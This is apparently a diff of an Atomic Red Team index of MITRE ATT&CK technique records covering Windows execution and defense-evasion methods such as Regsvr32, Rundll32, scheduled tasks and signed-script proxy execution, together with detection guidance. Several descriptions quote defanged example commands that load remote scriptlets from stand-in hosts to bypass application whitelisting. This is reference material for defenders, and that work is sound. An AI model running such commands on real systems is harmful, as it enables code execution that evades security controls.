Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting - - Permissions Required: User, Administrator - - Remote Support: No - - Contributors: Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1121 + - external_id: T1121 + url: https://attack.mitre.org/techniques/T1121 source_name: mitre-attack - external_id: T1121 - - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). + - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx + description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016. source_name: MSDN Regsvcs - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx - - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved + - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx + description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016. source_name: MSDN Regasm - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:33.499Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Casey Smith x_mitre_defense_bypassed: - Process whitelisting x_mitre_permissions_required: - User - Administrator + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and + Regasm.exe with prior history of known good arguments and executed binaries + to determine anomalous and potentially adversarial activity. Command arguments + used before and after Regsvcs.exe or Regasm.exe invocation may also be useful + in determining the origin and purpose of the binary being executed. x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:33.499Z' identifier: T1121 atomic_tests: - name: Regasm Uninstall Method Call Test @@ -13964,6 +14083,8 @@ execution: del key.snk T1117: technique: + id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Regsvr32 description: |- Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) @@ -13972,71 +14093,62 @@ execution: Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) - Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016) - - Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016) - - Platforms: Windows - - Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry - - Defense Bypassed: Process whitelisting, Anti-virus - - Permissions Required: User, Administrator - - Remote Support: No - - Contributors: Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1117 + - external_id: T1117 + url: https://attack.mitre.org/techniques/T1117 source_name: mitre-attack - external_id: T1117 - - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and + - url: https://support.microsoft.com/en-us/kb/249873 + description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. source_name: Microsoft Regsvr32 - url: https://support.microsoft.com/en-us/kb/249873 - description: "[ Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017." source_name: SubTee Regsvr32 Whitelisting Bypass - - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing + - url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html + description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017. source_name: FireEye Regsvr32 Targeting Mongolian Gov - url: https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html - - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” + - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ + description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.' source_name: Carbon Black Squiblydoo Apr 2016 - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:26.966Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith x_mitre_data_sources: - Loaded DLLs - Process monitoring - - Process command-line parameters - Windows Registry + - Process command-line parameters x_mitre_defense_bypassed: - Process whitelisting - Anti-virus x_mitre_permissions_required: - User - Administrator + x_mitre_detection: 'Use process monitoring to monitor the execution and arguments + of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history + of known good arguments and loaded files to determine anomalous and potentially + adversarial activity. Command arguments used before and after the regsvr32.exe + invocation may also be useful in determining the origin and purpose of the + script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:26.966Z' identifier: T1117 atomic_tests: - name: Regsvr32 local COM scriptlet execution @@ -14093,6 +14205,8 @@ execution: ' T1085: technique: + id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Rundll32 description: |- The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. @@ -14100,60 +14214,51 @@ execution: Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) - - Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. - - Platforms: Windows - - Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - - Defense Bypassed: Anti-virus, Application whitelisting - - Permissions Required: User - - Remote Support: No - - Contributors: Ricardo Dias, Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1085 + - external_id: T1085 + url: https://attack.mitre.org/techniques/T1085 source_name: mitre-attack - external_id: T1085 - - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. + - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. source_name: Trend Micro CPL - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. + - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ + description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. source_name: This is Security Command Line Confusion - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:06.045Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Binary file metadata - - Process command-line parameters - Process monitoring + - Process command-line parameters + - Binary file metadata + x_mitre_contributors: + - Ricardo Dias + - Casey Smith x_mitre_defense_bypassed: - Anti-virus - Application whitelisting + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of rundll32.exe. Compare recent invocations of rundll32.exe with prior history + of known good arguments and loaded DLLs to determine anomalous and potentially + adversarial activity. Command arguments used with the rundll32.exe invocation + may also be useful in determining the origin and purpose of the DLL being + loaded. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Ricardo Dias - - Casey Smith - id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:06.045Z' identifier: T1085 atomic_tests: - name: Rundll32 execute JavaScript Remote Payload With GetObject @@ -14174,93 +14279,85 @@ execution: ' T1053: technique: + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scheduled Task description: |- - Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. - - Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) - - *Event ID 106 - Scheduled task registered - *Event ID 140 - Scheduled task updated - *Event ID 141 - Scheduled task removed - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. - - Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. - - Platforms: Windows - - Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs - - Effective Permissions: Administrator, SYSTEM, User - - Permissions Required: Administrator, SYSTEM, User - - Remote Support: Yes - - Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/wiki/Technique/T1053 + - external_id: T1053 + url: https://attack.mitre.org/techniques/T1053 source_name: mitre-attack - external_id: T1053 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc785125.aspx + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + source_name: TechNet Task Scheduler Security + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + - url: https://twitter.com/leoloobeek/status/939248813465853953 + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + source_name: Twitter Leoloobeek Scheduled Task + - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. source_name: TechNet Forum Scheduled Task Operational Setting - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - - description: Microsoft. (n.d.). General Task Registration. Retrieved December + - url: https://technet.microsoft.com/library/dd315590.aspx + description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. source_name: TechNet Scheduled Task Events - url: https://technet.microsoft.com/library/dd315590.aspx - - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - source_name: TechNet Task Scheduler Security - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - source_name: Twitter Leoloobeek Scheduled Task - url: https://twitter.com/leoloobeek/status/939248813465853953 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:46.977Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security x_mitre_data_sources: - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters - Windows event logs - x_mitre_effective_permissions: + x_mitre_detection: |- + Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) + + * Event ID 106 - Scheduled task registered + * Event ID 140 - Scheduled task updated + * Event ID 141 - Scheduled task removed + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + x_mitre_permissions_required: - Administrator - SYSTEM - User - x_mitre_permissions_required: - - Administrator + x_mitre_effective_permissions: - SYSTEM + - Administrator - User x_mitre_remote_support: true - x_mitre_contributors: - - Travis Smith, Tripwire - - Leo Loobeek, @leoloobeek - - Alain Homewood, Insomnia Security - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:46.977Z' identifier: T1053 atomic_tests: - name: At.exe Scheduled task @@ -14327,61 +14424,39 @@ execution: ' T1064: technique: + id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scripting description: |- Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. - Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them. - - Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) - - Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - - Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - - Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) + Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them. - Platforms: Linux, macOS, Windows - - Data Sources: Process monitoring, File monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1064 + - external_id: T1064 + url: https://attack.mitre.org/techniques/T1064 source_name: mitre-attack - external_id: T1064 - - description: Metasploit. (n.d.). Retrieved December 4, 2014. + - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ + description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting + of National Security Think Tanks. Retrieved November 12, 2014.' + source_name: Alperovitch 2014 + - url: http://www.metasploit.com + description: Metasploit. (n.d.). Retrieved December 4, 2014. source_name: Metasploit - url: http://www.metasploit.com - - description: Veil Framework. (n.d.). Retrieved December 4, 2014. + - url: https://www.veil-framework.com/framework/ + description: Veil Framework. (n.d.). Retrieved December 4, 2014. source_name: Veil - url: https://www.veil-framework.com/framework/ - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting - of National Security Think Tanks. Retrieved November 12, 2014.' - source_name: Alperovitch 2014 - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ - - description: Felix. (2016, September). Analyzing Malicious Office Documents. + - url: https://www.uperesia.com/analyzing-malicious-office-documents + description: Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018. source_name: Uperesia Malicious Office Documents - url: https://www.uperesia.com/analyzing-malicious-office-documents object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:51.733Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - File monitoring @@ -14390,11 +14465,26 @@ execution: - Process whitelisting - Data Execution Prevention - Exploit Prevention + x_mitre_detection: |- + Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + + Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + + Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) x_mitre_permissions_required: - User - id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:51.733Z' identifier: T1064 atomic_tests: - name: Create and Execute Bash Shell Script @@ -14413,43 +14503,44 @@ execution: sh /tmp/art.sh T1035: technique: + id: attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Service Execution - description: |- - Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation. - - Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec. - - Platforms: Windows - - Data Sources: Windows Registry, Process command-line parameters, Process monitoring - - Permissions Required: Administrator, SYSTEM - - Remote Support: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution + description: Adversaries may execute a binary, command, or script via a method + that interacts with Windows services, such as the Service Control Manager. + This can be done by either creating a new service or modifying an existing + service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) + and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during + service persistence or privilege escalation. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1035 + - external_id: T1035 + url: https://attack.mitre.org/techniques/T1035 source_name: mitre-attack - external_id: T1035 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:36.550Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_detection: Changes to service Registry entries and command-line invocation + of tools capable of modifying services that do not correlate with known software, + patch cycles, etc., may be suspicious. If a service is used only to execute + a binary or script and not to persist, then it will likely be changed back + to its original form shortly after the service is restarted so the service + is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029). x_mitre_data_sources: - Windows Registry - - Process command-line parameters - Process monitoring + - Process command-line parameters x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_remote_support: true - id: attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:36.550Z' identifier: T1035 atomic_tests: - name: Execute a Command as a Service @@ -14476,64 +14567,54 @@ execution: sc.exe delete #{service_name} T1216: technique: + id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Signed Script Proxy Execution description: |- Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. - PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png + PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) - - Detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Application whitelisting, Digital Certificate Validation - - Permissions Required: User - - Remote Support: No - - Contributors: Praetorian - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1216 + - external_id: T1216 + url: https://attack.mitre.org/techniques/T1216 source_name: mitre-attack - external_id: T1216 - - description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved + - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ + description: 'Nelson, M. (2017, August 3). WSH 